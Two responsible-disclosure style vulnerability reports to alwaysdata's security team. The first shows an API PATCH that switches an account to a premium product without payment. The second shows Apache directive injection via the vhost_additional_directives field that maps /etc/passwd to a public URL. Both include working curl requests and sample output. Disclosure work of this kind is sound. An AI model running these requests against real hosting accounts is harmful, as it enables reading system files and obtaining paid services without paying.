All Projects

Hello Security Team,

I would like to report a security issue identified while testing authenticated account behavior through the API within my own alwaysdata account.

Name of vulnerability:
Authenticated API allows direct modification of account product reference resulting in premium-tier subscription state before payment workflow completion

Description:
While testing within my own alwaysdata account and using an API token generated through the administration interface, I observed that the authenticated account update endpoint accepts direct modification of the `product` field associated with an existing account object. When a valid premium product identifier is submitted through the account PATCH endpoint, the API accepts the change and updates the account object immediately.

After the modification is accepted, the subscription object reflects the new premium-tier product and corresponding pricing, and the administration interface displays the upgraded subscription together with the associated infrastructure values. During verification, this state appeared before any payment method was configured and while the billing section continued to show zero balance and no recorded transaction.

The observation may indicate that product assignment through the API is applied before the full subscription payment workflow is completed, or that additional validation is intentionally deferred. Because the behavior affects subscription state, API object values, and visible infrastructure allocation simultaneously, I am reporting it for review to confirm whether this is expected across all account states.

Steps to reproduce and proof of concept:
First, an API token was created from the administration interface and used with HTTP Basic authentication.

The initial account state was verified through:

curl -u "342d00dc" "https://api.alwaysdata.com/v1/account/"

The response showed the account associated with its original product identifier, corresponding to the initial assigned plan. This state is attached in image 01_api_original_product_state.png.

Next, the account object was updated using:

curl -u "342d00dc" -X PATCH "https://api.alwaysdata.com/v1/account/463*/" -H "Content-Type: application/json" -d '{"product":2011}' The API accepted the modification successfully. The accepted request is attached in 03_api_patch_request_accepted_http204.png. A follow-up request to the same account endpoint returned the updated product reference: curl -u "342d00dc" "https://api.alwaysdata.com/v1/account/463*/"

The updated response is shown in 02_api_product_changed_to_premium.png.

The subscription endpoint was then queried:

curl -u "342d00dc" "https://api.alwaysdata.com/v1/subscription/"

The returned subscription object reflected the premium-tier product with corresponding price and expiry information, shown in 04_subscription_price_updated_without_payment.png.

The administration interface then displayed the premium plan under subscriptions, visible in 05_ui_premium_subscription_active.png.

The usage dashboard displayed the associated premium resource values, including increased disk, RAM, and CPU allocation, visible in 06_ui_infrastructure_resources_allocated.png.

The payment section showed no configured payment method in `07_no_payment_method_configured.png`, while billing remained at zero balance with no transaction shown in 08_billing_balance_zero_no_transaction.png.

All verification was performed only on infrastructure attached to my own account.

Impact:
The observed behavior suggests that authenticated modification of the account product reference may allow premium subscription state to be reflected in account configuration before billing validation is finalized through the standard subscription workflow.

Because the updated product is visible both through API responses and in the administration interface, and because premium resource values appear in the usage view during the same state, this may represent an authorization consistency issue between account configuration and billing enforcement.

I am not asserting unintended abuse, only reporting that the technical sequence appears to permit product state transition before payment-related confirmation becomes visible in the account.

Vulnerable HTTP Request and Response:

Request:

PATCH /v1/account/463*/ HTTP/1.1
Host: api.alwaysdata.com
Content-Type: application/json
Authorization: Basic <token> {
"product": 2011
} Response: HTTP/1.1 204 No Content Verification request: GET /v1/account/463*/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic <token>

Verification response excerpt:

{
"id": "…",
"product": {
"href": "/v1/product/2011/"
}
}

Subscription verification response excerpt:

{
"product": {
"href": "/v1/product/2011/"
},
"price": "165.000000000000000"
}

Remediation:
A possible mitigation would be to validate product changes server-side against the expected subscription and billing workflow before allowing direct modification of the account object through the public API. Premium product identifiers could either be restricted from direct account PATCH operations or accepted only after confirmation that the account is already eligible for the requested subscription state through the intended billing path.

Another possible approach would be to separate product object updates from actual infrastructure activation until billing confirmation is complete.

Please let me know if any additional details would be helpful.

Best regards

Hello Security Team,

I would like to report a security issue identified while testing site configuration through the API.

Name of vulnerability:
Apache directive injection through vhost_additional_directives in site configuration API

Description:
The vhost_additional_directives field appears to accept Apache directive content without filtering. In testing performed on a site under my own account, a directive supplied through this field was applied to the generated virtual host configuration and became active on the hosted site.

A simple Alias directive was accepted and mapped a local file to a public path, indicating that directives provided through this field are interpreted by Apache as part of the site configuration.

Steps to reproduce:
Using a site under my own account, I sent the following PATCH request:

curl -u "<account>:<password>"
-X PATCH "https://api.alwaysdata.com/v1/site/<site_id>/"
-H "Content-Type: application/json"
-d '{"vhost_additional_directives":"Alias /readfile /etc/passwd"}'

After the configuration was applied, I accessed:

https://<test-subdomain>.alwaysdata.net/readfile

The response returned the contents of /etc/passwd. A screenshot showing both the request and the resulting response is attached for reference.

Impact:
This behavior suggests that directives supplied through the API may be applied without validation, allowing configuration changes beyond the intended scope of this field. In the tested case, it resulted in local file exposure through a web-accessible path on a site under my own account.

Vulnerable HTTP Request and Response:

Request:

PATCH /v1/site/<site_id>/ HTTP/1.1
Content-Type: application/json

{
"vhost_additional_directives": "Alias /readfile /etc/passwd"
}

Observed response after visiting the configured path:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
…

Remediation:
A possible remediation would be to validate or restrict directives accepted in vhost_additional_directives, allow only expected configuration directives, and reject directives that expose filesystem paths or alter request routing outside the intended use of this field.

Testing was limited to infrastructure associated with my own account. No destructive actions were performed, and only read verification was used to confirm the behavior.

Please let me know if any additional details would be helpful.

Best regards